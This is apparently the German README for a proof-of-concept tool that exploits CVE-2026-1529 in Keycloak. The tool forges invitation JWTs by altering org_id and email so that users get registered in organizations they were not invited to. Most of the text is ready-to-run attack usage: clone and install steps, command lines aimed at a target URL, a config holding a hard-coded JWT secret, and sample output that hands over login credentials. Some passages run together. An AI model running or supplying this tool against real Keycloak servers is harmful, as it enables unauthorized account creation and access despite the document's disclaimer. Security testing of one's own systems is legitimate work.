
Exploit-Tool für CVE-2026-1529, das eine unbefugte Organisationsregistrierung in Keycloak über JWT-Token-Manipulation demonstriert. Enthält Token-Generierung, -Manipulation und Benutzerregistrierung mit Berichtserstellung.
Keycloak: Nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von Einladungstokens
Dieses Tool dient ausschließlich Bildungs- und Sicherheitstestzwecken. Verwenden Sie es nur auf Systemen, für die Sie ausdrücklich die Erlaubnis zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal und unethisch. Die Autoren dieses Tools sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.
Erstellt von: f3ds cr3w est, 2002
CVE-2026-1529 ist eine kritische Schwachstelle in Keycloak, die eine nicht autorisierte Organisationsregistrierung durch unsachgemäße Validierung von Einladungstokens ermöglicht. Dieses Exploit-Tool demonstriert die Schwachstelle, indem es JWT-Tokens manipuliert, um Benutzer in nicht autorisierten Organisationen zu registrieren.
Die Schwachstelle besteht im JWT-Token-Validierungsprozess für Organisationseinladungen. Angreifer können die Felder org_id und email in der JWT-Payload manipulieren, wodurch sie Benutzer ohne ordnungsgemäße Autorisierung in beliebigen Organisationen registrieren können.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Standardverwendung mit Ziel-URL
python keycloak-exploit.py https://target-keycloak.com
# Hilfe anzeigen
python keycloak-exploit.py -h
# Version anzeigen
python keycloak-exploit.py -v
# Benutzerdefiniertes Einladungstoken verwenden
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Benutzerdefinierte Organisations-ID verwenden
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Benutzerdefinierte Konfigurationsdatei verwenden
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Debug-Logging aktivieren
python keycloak-exploit.py -d https://target-keycloak.com
| Option | Beschreibung | Erforderlich |
|---|---|---|
target | Ziel-Keycloak-URL (IP oder Domain) | Ja |
-t, --token | Benutzerdefiniertes Einladungstoken | Nein |
-o, --org-id | Benutzerdefinierte Organisations-ID | Nein |
-c, --config | Pfad zur Konfigurationsdatei | Nein |
-d, --debug | Debug-Logging aktivieren | Nein |
-v, --version | Versionsinformationen anzeigen | Nein |
-h, --help | Hilfemeldung anzeigen | Nein |
Wenn der Exploit erfolgreich ist, sehen Sie eine Ausgabe wie:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✓ Target is vulnerable to CVE-2026-1529
🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target-keycloak.com/realms/master/account
📄 Report saved to: output/reports/exploit_report_20260210_134556.txt
🔐 Use the provided credentials to access the Keycloak instance!
⚠️ This demonstrates unauthorized access due to CVE-2026-1529
=============================================================
by f3ds cr3w est, 2002
=============================================================
Wenn der Exploit fehlschlägt, sehen Sie:
=============================================================
CVE-2026-1529 EXPLOIT RESULTS
=============================================================
✗ Target is not vulnerable
❌ EXPLOIT FAILED!
Check logs for details: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # This file
├── config/
│ └── default_config.json # Default configuration
├── utils/
│ ├── jwt_utils.py # JWT manipulation utilities
│ ├── http_utils.py # HTTP client utilities
│ └── crypto_utils.py # Cryptographic utilities
├── output/
│ ├── logs/ # Log files
│ └── reports/ # Exploit reports
Das Tool verwendet eine Standardkonfigurationsdatei (config/default_config.json) mit den folgenden Einstellungen:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Sie können eine benutzerdefinierte Konfigurationsdatei erstellen und diese mit der Option -c verwenden:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
Das Tool nutzt die unsachgemäße JWT-Validierung aus, indem es:
org_id ändert, um eine andere Organisation anzuvisierenemail bei Bedarf ändertVerbindungsfehler
Token-Validierungsfehler
org_id, email, invitation_type)Registrierungsfehler
Aktivieren Sie das Debug-Logging für eine detaillierte Fehlerbehebung:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtDas Tool führt die folgenden Prüfungen durch:
Der Exploit gilt als erfolgreich, wenn:
Dieses Tool wird ausschließlich für Bildungs- und Sicherheitstestzwecke bereitgestellt. Verwendung auf eigenes Risiko.
Erstellt von: f3ds cr3w est, 2002
Kontakt: Bei Fragen oder Feedback wenden Sie sich bitte an das Projekt-Repository.
Denken Sie daran: Mit großer Macht kommt große Verantwortung. Verwenden Sie dieses Tool weise und ethisch.
by f3ds cr3w est, 2002